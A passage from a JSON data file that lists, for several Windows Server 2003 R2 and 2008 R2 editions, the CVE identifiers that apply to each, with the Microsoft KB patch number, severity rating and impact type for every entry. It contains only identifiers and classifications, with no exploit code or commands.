Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"","impact":"Windows Library Loading"},{"cve":"CVE-2016-0040","kb":"3126434","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197874","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467697","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004954","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"}],"Windows Server 2003 R2 Service Pack 2":[{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2003 R2 x64 Edition Service Pack 2":[{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 R2 for Itanium-Based Systems":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898857","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108371","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3237","kb":"3185330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-7255","kb":"3197868","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012215","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0148","kb":"4012215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 R2 for Itanium-based Systems Service Pack 1":[{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 R2 for x64-based Systems":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 R2 for x64-based Systems (Server Core installation)":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416471","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2506212","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518867","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code 